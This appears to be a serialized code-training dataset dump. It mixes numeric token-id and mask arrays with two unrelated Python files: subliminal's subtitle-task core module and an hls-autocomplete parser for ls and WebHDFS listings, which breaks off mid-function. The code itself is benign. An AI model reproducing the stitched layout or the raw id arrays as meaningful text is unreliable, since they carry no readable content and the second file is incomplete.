[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
eptmp3/Sick-Beard
lib/subliminal/core.py
30
12890
# -*- coding: utf-8 -*- # Copyright 2011-2012 Antoine Bertin <diaoulael@gmail.com> # # This file is part of subliminal. # # subliminal is free software; you can redistribute it and/or modify it under # the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # subliminal is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with subliminal. If not, see <http://www.gnu.org/licenses/>. from .exceptions import DownloadFailedError from .services import ServiceConfig from .tasks import DownloadTask, ListTask from .utils import get_keywords from .videos import Episode, Movie, scan from .language import Language from collections import defaultdict from itertools import groupby import bs4 import guessit import logging __all__ = ['SERVICES', 'LANGUAGE_INDEX', 'SERVICE_INDEX', 'SERVICE_CONFIDENCE', 'MATCHING_CONFIDENCE', 'create_list_tasks', 'create_download_tasks', 'consume_task', 'matching_confidence', 'key_subtitles', 'group_by_video'] logger = logging.getLogger("subliminal") SERVICES = ['opensubtitles', 'bierdopje', 'subswiki', 'subtitulos', 'thesubdb', 'addic7ed', 'tvsubtitles', 'itasa','podnapisiweb','usub','soustitreseu'] LANGUAGE_INDEX, SERVICE_INDEX, SERVICE_CONFIDENCE, MATCHING_CONFIDENCE = range(4) def create_list_tasks(paths, languages, services, force, multi, cache_dir, max_depth, scan_filter): """Create a list of :class:`~subliminal.tasks.ListTask` from one or more paths using the given criteria :param paths: path(s) to video file or folder :type paths: string or list :param set languages: languages to search for :param list services: services to use for the search :param bool force: force searching for subtitles even if some are detected :param bool multi: search multiple languages for the same video :param string cache_dir: path to the cache directory to use :param int max_depth: maximum depth for scanning entries :param function scan_filter: filter function that takes a path as argument and returns a boolean indicating whether it has to be filtered out (``True``) or not (``False``) :return: the created tasks :rtype: list of :class:`~subliminal.tasks.ListTask` """ scan_result = [] for p in paths: scan_result.extend(scan(p, max_depth, scan_filter)) logger.debug(u'Found %d videos in %r with maximum depth %d' % (len(scan_result), paths, max_depth)) tasks = [] config = ServiceConfig(multi, cache_dir) services = filter_services(services) for video, detected_subtitles in scan_result: detected_languages = set(s.language for s in detected_subtitles) wanted_languages = languages.copy() if not force and multi: wanted_languages -= detected_languages if not wanted_languages: logger.debug(u'No need to list multi subtitles %r for %r because %r detected' % (languages, video, detected_languages)) continue if not force and not multi and Language('Undetermined') in detected_languages: logger.debug(u'No need to list single subtitles %r for %r because one detected' % (languages, video)) continue logger.debug(u'Listing subtitles %r for %r with services %r' % (wanted_languages, video, services)) for service_name in services: mod = __import__('services.' + service_name, globals=globals(), locals=locals(), fromlist=['Service'], level=-1) service = mod.Service if not service.check_validity(video, wanted_languages): continue task = ListTask(video, wanted_languages & service.languages, service_name, config) logger.debug(u'Created task %r' % task) tasks.append(task) return tasks def create_download_tasks(subtitles_by_video, languages, multi): """Create a list of :class:`~subliminal.tasks.DownloadTask` from a list results grouped by video :param subtitles_by_video: :class:`~subliminal.tasks.ListTask` results with ordered subtitles :type subtitles_by_video: dict of :class:`~subliminal.videos.Video` => [:class:`~subliminal.subtitles.Subtitle`] :param languages: languages in preferred order :type languages: :class:`~subliminal.language.language_list` :param bool multi: download multiple languages for the same video :return: the created tasks :rtype: list of :class:`~subliminal.tasks.DownloadTask` """ tasks = [] for video, subtitles in subtitles_by_video.iteritems(): if not subtitles: continue if not multi: task = DownloadTask(video, list(subtitles)) logger.debug(u'Created task %r' % task) tasks.append(task) continue for _, by_language in groupby(subtitles, lambda s: languages.index(s.language)): task = DownloadTask(video, list(by_language)) logger.debug(u'Created task %r' % task) tasks.append(task) return tasks def consume_task(task, services=None): """Consume a task. If the ``services`` parameter is given, the function will attempt to get the service from it. In case the service is not in ``services``, it will be initialized and put in ``services`` :param task: task to consume :type task: :class:`~subliminal.tasks.ListTask` or :class:`~subliminal.tasks.DownloadTask` :param dict services: mapping between the service name and an instance of this service :return: the result of the task :rtype: list of :class:`~subliminal.subtitles.ResultSubtitle` """ if services is None: services = {} logger.info(u'Consuming %r' % task) result = None if isinstance(task, ListTask): service = get_service(services, task.service, config=task.config) result = service.list(task.video, task.languages) elif isinstance(task, DownloadTask): for subtitle in task.subtitles: service = get_service(services, subtitle.service) try: service.download(subtitle) result = [subtitle] break except DownloadFailedError: logger.warning(u'Could not download subtitle %r, trying next' % subtitle) continue if result is None: logger.error(u'No subtitles could be downloaded for video %r' % task.video) return result def matching_confidence(video, subtitle): """Compute the probability (confidence) that the subtitle matches the video :param video: video to match :type video: :class:`~subliminal.videos.Video` :param subtitle: subtitle to match :type subtitle: :class:`~subliminal.subtitles.Subtitle` :return: the matching probability :rtype: float """ guess = guessit.guess_file_info(subtitle.release, 'autodetect') video_keywords = get_keywords(video.guess) subtitle_keywords = get_keywords(guess) | subtitle.keywords logger.debug(u'Video keywords %r - Subtitle keywords %r' % (video_keywords, subtitle_keywords)) replacement = {'keywords': len(video_keywords & subtitle_keywords)} if isinstance(video, Episode): replacement.update({'series': 0, 'season': 0, 'episode': 0}) matching_format = '{series:b}{season:b}{episode:b}{keywords:03b}' best = matching_format.format(series=1, season=1, episode=1, keywords=len(video_keywords)) if guess['type'] in ['episode', 'episodesubtitle']: if 'series' in guess and guess['series'].lower() == video.series.lower(): replacement['series'] = 1 if 'season' in guess and guess['season'] == video.season: replacement['season'] = 1 if 'episodeNumber' in guess and guess['episodeNumber'] == video.episode: replacement['episode'] = 1 elif isinstance(video, Movie): replacement.update({'title': 0, 'year': 0}) matching_format = '{title:b}{year:b}{keywords:03b}' best = matching_format.format(title=1, year=1, keywords=len(video_keywords)) if guess['type'] in ['movie', 'moviesubtitle']: if 'title' in guess and guess['title'].lower() == video.title.lower(): replacement['title'] = 1 if 'year' in guess and guess['year'] == video.year: replacement['year'] = 1 else: logger.debug(u'Not able to compute confidence for %r' % video) return 0.0 logger.debug(u'Found %r' % replacement) confidence = float(int(matching_format.format(**replacement), 2)) / float(int(best, 2)) logger.info(u'Computed confidence %.4f for %r and %r' % (confidence, video, subtitle)) return confidence def get_service(services, service_name, config=None): """Get a service from its name in the service dict with the specified config. If the service does not exist in the service dict, it is created and added to the dict. :param dict services: dict where to get existing services or put created ones :param string service_name: name of the service to get :param config: config to use for the service :type config: :class:`~subliminal.services.ServiceConfig` or None :return: the corresponding service :rtype: :class:`~subliminal.services.ServiceBase` """ if service_name not in services: mod = __import__('services.' + service_name, globals=globals(), locals=locals(), fromlist=['Service'], level=-1) services[service_name] = mod.Service() services[service_name].init() services[service_name].config = config return services[service_name] def key_subtitles(subtitle, video, languages, services, order): """Create a key to sort subtitle using the given order :param subtitle: subtitle to sort :type subtitle: :class:`~subliminal.subtitles.ResultSubtitle` :param video: video to match :type video: :class:`~subliminal.videos.Video` :param list languages: languages in preferred order :param list services: services in preferred order :param order: preferred order for subtitles sorting :type list: list of :data:`LANGUAGE_INDEX`, :data:`SERVICE_INDEX`, :data:`SERVICE_CONFIDENCE`, :data:`MATCHING_CONFIDENCE` :return: a key ready to use for subtitles sorting :rtype: int """ key = '' for sort_item in order: if sort_item == LANGUAGE_INDEX: key += '{0:03d}'.format(len(languages) - languages.index(subtitle.language) - 1) key += '{0:01d}'.format(subtitle.language == languages[languages.index(subtitle.language)]) elif sort_item == SERVICE_INDEX: key += '{0:02d}'.format(len(services) - services.index(subtitle.service) - 1) elif sort_item == SERVICE_CONFIDENCE: key += '{0:04d}'.format(int(subtitle.confidence * 1000)) elif sort_item == MATCHING_CONFIDENCE: confidence = 0 if subtitle.release: confidence = matching_confidence(video, subtitle) key += '{0:04d}'.format(int(confidence * 1000)) return int(key) def group_by_video(list_results): """Group the results of :class:`ListTasks <subliminal.tasks.ListTask>` into a dictionary of :class:`~subliminal.videos.Video` => :class:`~subliminal.subtitles.Subtitle` :param list_results: :type list_results: list of result of :class:`~subliminal.tasks.ListTask` :return: subtitles grouped by videos :rtype: dict of :class:`~subliminal.videos.Video` => [:class:`~subliminal.subtitles.Subtitle`] """ result = defaultdict(list) for video, subtitles in list_results: result[video] += subtitles or [] return result def filter_services(services): """Filter out services that are not available because of a missing feature :param list services: service names to filter :return: a copy of the initial list of service names without unavailable ones :rtype: list """ filtered_services = services[:] for service_name in services: mod = __import__('services.' + service_name, globals=globals(), locals=locals(), fromlist=['Service'], level=-1) service = mod.Service if service.required_features is not None and bs4.builder_registry.lookup(*service.required_features) is None: logger.warning(u'Service %s not available: none of available features could be used. One of %r required' % (service_name, service.required_features)) filtered_services.remove(service_name) return filtered_services
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 7760, 13, 7409, 437, 29680, 1132, 23207, 1346, 665, 2391, 79, 7586, 352, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 1007, 13769, 279, 14, 199, 3, 199, 3, 1007, 13769, 279, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 1334, 199, 3, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 1007, 13769, 279, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 1007, 13769, 279, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 504, 1275, 3924, 492, 17955, 4276, 547, 199, 504, 1275, 5950, 492, 7591, 2028, 199, 504, 1275, 5054, 492, 17955, 4476, 12, 3820, 4476, 199, 504, 1275, 1208, 492, 664, 63, 7511, 199, 504, 1275, 11418, 492, 27255, 6045, 12, 31248, 12, 8000, 199, 504, 1275, 3671, 492, 8466, 199, 504, 5055, 492, 10018, 199, 504, 7975, 492, 20371, 199, 646, 9922, 20, 199, 646, 19977, 2221, 199, 646, 2050, 421, 199, 363, 452, 363, 275, 788, 3279, 8670, 297, 283, 13947, 63, 10215, 297, 283, 10486, 63, 10215, 297, 283, 10486, 63, 3103, 998, 6013, 297, 283, 14747, 1206, 63, 3103, 998, 6013, 297, 1779, 283, 981, 63, 513, 63, 5054, 297, 283, 981, 63, 4249, 63, 5054, 297, 283, 10235, 63, 1765, 297, 283, 9467, 63, 13969, 297, 1779, 283, 498, 63, 16858, 297, 283, 923, 63, 991, 63, 3722, 418, 199, 2921, 275, 2050, 14, 5572, 480, 954, 13769, 279, 531, 199, 3279, 8670, 275, 788, 1490, 16858, 297, 283, 66, 4446, 68, 411, 6532, 297, 283, 954, 3519, 11545, 297, 283, 954, 6403, 85, 11560, 297, 283, 273, 397, 456, 697, 297, 283, 350, 5000, 23, 379, 297, 283, 6993, 16858, 297, 283, 390, 30253, 1673, 12656, 27090, 338, 2520, 1673, 527, 456, 1673, 83, 810, 6329, 264, 261, 85, 418, 199, 13947, 63, 10215, 12, 16655, 63, 10215, 12, 16655, 63, 3103, 998, 6013, 12, 603, 8078, 1206, 63, 3103, 998, 6013, 275, 1425, 8, 20, 9, 421, 199, 318, 1218, 63, 513, 63, 5054, 8, 3771, 12, 10815, 12, 8500, 12, 3542, 12, 3510, 12, 2581, 63, 694, 12, 1390, 63, 4631, 12, 8000, 63, 1541, 304, 272, 408, 2499, 282, 769, 402, 520, 533, 6054, 954, 13769, 279, 14, 5054, 14, 1296, 4476, 64, 687, 1373, 503, 1655, 3792, 1808, 314, 1627, 15647, 339, 520, 635, 3792, 26, 931, 8, 83, 9, 370, 3991, 570, 503, 4922, 272, 520, 466, 3792, 26, 1059, 503, 769, 272, 520, 635, 663, 10815, 26, 10815, 370, 2754, 367, 272, 520, 635, 769, 8500, 26, 8500, 370, 675, 367, 314, 2754, 272, 520, 635, 2155, 3542, 26, 3542, 18112, 367, 19297, 2755, 340, 2005, 787, 10501, 272, 520, 635, 2155, 3510, 26, 2754, 3663, 10815, 367, 314, 2011, 3991, 272, 520, 635, 1059, 2581, 63, 694, 26, 931, 370, 314, 2581, 2082, 370, 675, 272, 520, 635, 1109, 1390, 63, 4631, 26, 5696, 5818, 367, 24928, 4811, 272, 520, 635, 805, 8000, 63, 1541, 26, 2457, 805, 626, 6181, 282, 931, 465, 1423, 436, 2529, 282, 5046, 9297, 3775, 652, 965, 370, 506, 9806, 734, 15693, 549, 16580, 503, 440, 15693, 797, 16580, 272, 520, 1107, 26, 314, 2737, 6527, 272, 520, 4500, 26, 769, 402, 520, 533, 6054, 954, 13769, 279, 14, 5054, 14, 1296, 4476, 64, 339, 408, 272, 8000, 63, 1099, 275, 942, 272, 367, 299, 315, 3792, 26, 267, 8000, 63, 1099, 14, 2880, 8, 6282, 8, 80, 12, 1390, 63, 4631, 12, 8000, 63, 1541, 430, 272, 2512, 14, 1757, 8, 85, 7, 3601, 450, 68, 22010, 315, 450, 82, 543, 5696, 5818, 450, 68, 7, 450, 334, 552, 8, 6282, 63, 1099, 395, 3792, 12, 1390, 63, 4631, 430, 272, 6527, 275, 942, 272, 1101, 275, 7591, 2028, 8, 3029, 12, 2581, 63, 694, 9, 272, 8500, 275, 2457, 63, 5950, 8, 5950, 9, 272, 367, 3991, 12, 10501, 63, 16858, 315, 8000, 63, 1099, 26, 267, 10501, 63, 13209, 275, 663, 8, 83, 14, 3671, 367, 308, 315, 10501, 63, 16858, 9, 267, 13632, 63, 13209, 275, 10815, 14, 1574, 342, 267, 340, 440, 3542, 436, 3510, 26, 288, 13632, 63, 13209, 4862, 10501, 63, 13209, 288, 340, 440, 13632, 63, 13209, 26, 355, 2512, 14, 1757, 8, 85, 7, 1944, 1929, 370, 769, 3510, 19297, 450, 82, 367, 450, 82, 2952, 450, 82, 10501, 7, 450, 334, 13209, 12, 3991, 12, 10501, 63, 13209, 430, 355, 1980, 267, 340, 440, 3542, 436, 440, 3510, 436, 8466, 360, 1358, 27248, 358, 315, 10501, 63, 13209, 26, 288, 2512, 14, 1757, 8, 85, 7, 1944, 1929, 370, 769, 2849, 19297, 450, 82, 367, 450, 82, 2952, 1373, 10501, 7, 450, 334, 13209, 12, 3991, 430, 288, 1980, 267, 2512, 14, 1757, 8, 85, 7, 26138, 19297, 450, 82, 367, 450, 82, 543, 8500, 450, 82, 7, 450, 334, 19361, 63, 13209, 12, 3991, 12, 8500, 430, 267, 367, 2435, 63, 354, 315, 8500, 26, 288, 3413, 275, 636, 646, 19734, 5950, 3530, 435, 2435, 63, 354, 12, 7992, 29, 8473, 1062, 9480, 29, 9350, 1062, 25321, 2968, 3167, 995, 2166, 4022, 17, 9, 288, 2435, 275, 3413, 14, 3167, 288, 340, 440, 2435, 14, 1074, 63, 31901, 8, 3722, 12, 13632, 63, 13209, 304, 355, 1980, 288, 2120, 275, 3820, 4476, 8, 3722, 12, 13632, 63, 13209, 1253, 2435, 14, 13209, 12, 2435, 63, 354, 12, 1101, 9, 288, 2512, 14, 1757, 8, 85, 7, 10502, 2120, 450, 82, 7, 450, 2120, 9, 288, 6527 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 7760, 13, 7409, 437, 29680, 1132, 23207, 1346, 665, 2391, 79, 7586, 352, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 1007, 13769, 279, 14, 199, 3, 199, 3, 1007, 13769, 279, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 1334, 199, 3, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 1007, 13769, 279, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 1007, 13769, 279, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 504, 1275, 3924, 492, 17955, 4276, 547, 199, 504, 1275, 5950, 492, 7591, 2028, 199, 504, 1275, 5054, 492, 17955, 4476, 12, 3820, 4476, 199, 504, 1275, 1208, 492, 664, 63, 7511, 199, 504, 1275, 11418, 492, 27255, 6045, 12, 31248, 12, 8000, 199, 504, 1275, 3671, 492, 8466, 199, 504, 5055, 492, 10018, 199, 504, 7975, 492, 20371, 199, 646, 9922, 20, 199, 646, 19977, 2221, 199, 646, 2050, 421, 199, 363, 452, 363, 275, 788, 3279, 8670, 297, 283, 13947, 63, 10215, 297, 283, 10486, 63, 10215, 297, 283, 10486, 63, 3103, 998, 6013, 297, 283, 14747, 1206, 63, 3103, 998, 6013, 297, 1779, 283, 981, 63, 513, 63, 5054, 297, 283, 981, 63, 4249, 63, 5054, 297, 283, 10235, 63, 1765, 297, 283, 9467, 63, 13969, 297, 1779, 283, 498, 63, 16858, 297, 283, 923, 63, 991, 63, 3722, 418, 199, 2921, 275, 2050, 14, 5572, 480, 954, 13769, 279, 531, 199, 3279, 8670, 275, 788, 1490, 16858, 297, 283, 66, 4446, 68, 411, 6532, 297, 283, 954, 3519, 11545, 297, 283, 954, 6403, 85, 11560, 297, 283, 273, 397, 456, 697, 297, 283, 350, 5000, 23, 379, 297, 283, 6993, 16858, 297, 283, 390, 30253, 1673, 12656, 27090, 338, 2520, 1673, 527, 456, 1673, 83, 810, 6329, 264, 261, 85, 418, 199, 13947, 63, 10215, 12, 16655, 63, 10215, 12, 16655, 63, 3103, 998, 6013, 12, 603, 8078, 1206, 63, 3103, 998, 6013, 275, 1425, 8, 20, 9, 421, 199, 318, 1218, 63, 513, 63, 5054, 8, 3771, 12, 10815, 12, 8500, 12, 3542, 12, 3510, 12, 2581, 63, 694, 12, 1390, 63, 4631, 12, 8000, 63, 1541, 304, 272, 408, 2499, 282, 769, 402, 520, 533, 6054, 954, 13769, 279, 14, 5054, 14, 1296, 4476, 64, 687, 1373, 503, 1655, 3792, 1808, 314, 1627, 15647, 339, 520, 635, 3792, 26, 931, 8, 83, 9, 370, 3991, 570, 503, 4922, 272, 520, 466, 3792, 26, 1059, 503, 769, 272, 520, 635, 663, 10815, 26, 10815, 370, 2754, 367, 272, 520, 635, 769, 8500, 26, 8500, 370, 675, 367, 314, 2754, 272, 520, 635, 2155, 3542, 26, 3542, 18112, 367, 19297, 2755, 340, 2005, 787, 10501, 272, 520, 635, 2155, 3510, 26, 2754, 3663, 10815, 367, 314, 2011, 3991, 272, 520, 635, 1059, 2581, 63, 694, 26, 931, 370, 314, 2581, 2082, 370, 675, 272, 520, 635, 1109, 1390, 63, 4631, 26, 5696, 5818, 367, 24928, 4811, 272, 520, 635, 805, 8000, 63, 1541, 26, 2457, 805, 626, 6181, 282, 931, 465, 1423, 436, 2529, 282, 5046, 9297, 3775, 652, 965, 370, 506, 9806, 734, 15693, 549, 16580, 503, 440, 15693, 797, 16580, 272, 520, 1107, 26, 314, 2737, 6527, 272, 520, 4500, 26, 769, 402, 520, 533, 6054, 954, 13769, 279, 14, 5054, 14, 1296, 4476, 64, 339, 408, 272, 8000, 63, 1099, 275, 942, 272, 367, 299, 315, 3792, 26, 267, 8000, 63, 1099, 14, 2880, 8, 6282, 8, 80, 12, 1390, 63, 4631, 12, 8000, 63, 1541, 430, 272, 2512, 14, 1757, 8, 85, 7, 3601, 450, 68, 22010, 315, 450, 82, 543, 5696, 5818, 450, 68, 7, 450, 334, 552, 8, 6282, 63, 1099, 395, 3792, 12, 1390, 63, 4631, 430, 272, 6527, 275, 942, 272, 1101, 275, 7591, 2028, 8, 3029, 12, 2581, 63, 694, 9, 272, 8500, 275, 2457, 63, 5950, 8, 5950, 9, 272, 367, 3991, 12, 10501, 63, 16858, 315, 8000, 63, 1099, 26, 267, 10501, 63, 13209, 275, 663, 8, 83, 14, 3671, 367, 308, 315, 10501, 63, 16858, 9, 267, 13632, 63, 13209, 275, 10815, 14, 1574, 342, 267, 340, 440, 3542, 436, 3510, 26, 288, 13632, 63, 13209, 4862, 10501, 63, 13209, 288, 340, 440, 13632, 63, 13209, 26, 355, 2512, 14, 1757, 8, 85, 7, 1944, 1929, 370, 769, 3510, 19297, 450, 82, 367, 450, 82, 2952, 450, 82, 10501, 7, 450, 334, 13209, 12, 3991, 12, 10501, 63, 13209, 430, 355, 1980, 267, 340, 440, 3542, 436, 440, 3510, 436, 8466, 360, 1358, 27248, 358, 315, 10501, 63, 13209, 26, 288, 2512, 14, 1757, 8, 85, 7, 1944, 1929, 370, 769, 2849, 19297, 450, 82, 367, 450, 82, 2952, 1373, 10501, 7, 450, 334, 13209, 12, 3991, 430, 288, 1980, 267, 2512, 14, 1757, 8, 85, 7, 26138, 19297, 450, 82, 367, 450, 82, 543, 8500, 450, 82, 7, 450, 334, 19361, 63, 13209, 12, 3991, 12, 8500, 430, 267, 367, 2435, 63, 354, 315, 8500, 26, 288, 3413, 275, 636, 646, 19734, 5950, 3530, 435, 2435, 63, 354, 12, 7992, 29, 8473, 1062, 9480, 29, 9350, 1062, 25321, 2968, 3167, 995, 2166, 4022, 17, 9, 288, 2435, 275, 3413, 14, 3167, 288, 340, 440, 2435, 14, 1074, 63, 31901, 8, 3722, 12, 13632, 63, 13209, 304, 355, 1980, 288, 2120, 275, 3820, 4476, 8, 3722, 12, 13632, 63, 13209, 1253, 2435, 14, 13209, 12, 2435, 63, 354, 12, 1101, 9, 288, 2512, 14, 1757, 8, 85, 7, 10502, 2120, 450, 82, 7, 450, 2120, 9, 288, 6527, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
simondolle/hls-autocomplete
hls_autocomplete/parse.py
1
5470
#!/usr/bin/env python # -*- coding: UTF-8 -*- import datetime from time import strptime import re import os import json class FileStatus(object): def __init__(self, path, rights, nbFiles, owner, group, size, date, relpath = None): self.path = path self.rights = rights self.nbFiles = nbFiles self.owner = owner self.group = group self.size = size self.date = date self.relpath = relpath def __eq__(self, other): return (self.path == other.path and self.rights == other.rights and self.nbFiles == other.nbFiles and self.owner == other.owner and self.group == other.group and self.size == other.size and self.date == other.date) def is_dir(self): return self.rights.startswith("d") def __str__(self): return self.to_str(0, 0, 0, 0, 0, 0, 0) def to_str(self, rights_width, nbFiles_width, owner_width, group_width, size_width, date_width, path_with): if self.is_dir: nb_files = "-" else: nb_files = str(self.nbFiles) result = "%s %s %s %s %s %s %s" % (self.rights.ljust(rights_width), nb_files.ljust(nbFiles_width), self.owner.ljust(owner_width), self.group.ljust(group_width), str(self.size).ljust(size_width), self.date.strftime("%Y-%M-%d %H:%M").ljust(date_width), self.path.ljust(path_with)) return result.encode("utf-8") def get_file_statuses_pretty_print(file_statuses): rights_width = 0 nb_files_width = 0 owner_width = 0 group_width = 0 size_width = 0 date_width = 0 path_width = 0 if len(file_statuses) != 0: rights_width = max([len(fs.rights) for fs in file_statuses]) nb_files_width = max([len(str(fs.nbFiles)) for fs in file_statuses]) owner_width = max([len(fs.owner) for fs in file_statuses]) group_width = max([len(fs.group) for fs in file_statuses]) size_width = max([len(str(fs.size)) for fs in file_statuses]) date_width = max([len(fs.date.strftime("%Y-%M-%d %H:%M")) for fs in file_statuses]) path_width = max([len(fs.path) for fs in file_statuses]) result = [] for file_status in file_statuses: result.append(file_status.to_str(rights_width, nb_files_width, owner_width, group_width, size_width, date_width, path_width)) return "\n".join(result) class LsParser(object): def __init__(self): pass def parse_line(self, line): regex = "^([rwxd@+-]+)\s+(\d+)\s+(\w+)\s+(\w+)\s+(\d+)\s+(\d+)\s+(\w+)\s+([:\d]+)\s+(/.+)$" m = re.match(regex, line, re.UNICODE) if m is None: return None rights = m.group(1) nbFiles = int(m.group(2)) owner = m.group(3) group = m.group(4) size = int(m.group(5)) day = int(m.group(6)) month = m.group(7) try: month = strptime(month, '%b').tm_mon except: month = [u"jan", u"fév", u"mar", u"avr", u"mai", u"jui", u"juil", u"aoû", u"sep", u"oct", u"nov", u"déc"].index(month) + 1 try: year = int(m.group(8)) except: year = datetime.datetime.now().year filename = m.group(9) date = datetime.date(year, month, day) return FileStatus(filename, rights, nbFiles, owner, group, size, date) def parse(self, output): result = [self.parse_line(line) for line in output.split("\n")] return [p for p in result if p is not None] class WebHdfsParser(object): def __init__(self, path): self.path = path def permissions_to_unix_name(self, is_dir, rights): is_dir_prefix = 'd' if is_dir else '-' sticky = False if len(rights) == 4 and rights[0] == '1': sticky = True rights = rights[1:] dic = {'7': 'rwx', '6': 'rw-', '5': 'r-x', '4': 'r--', '3': '-wx', '2': '-w-', '1': '--x', '0': '---'} result = is_dir_prefix + ''.join(dic[x] for x in rights) if sticky: result = result[:-1] + "t" return result def parse_status(self, status): relpath = status["pathSuffix"] path = os.path.join(self.path, relpath) nbFiles = 0 size = status["length"] owner = status["owner"] group = status["group"] is_dir = status["type"] == "DIRECTORY" 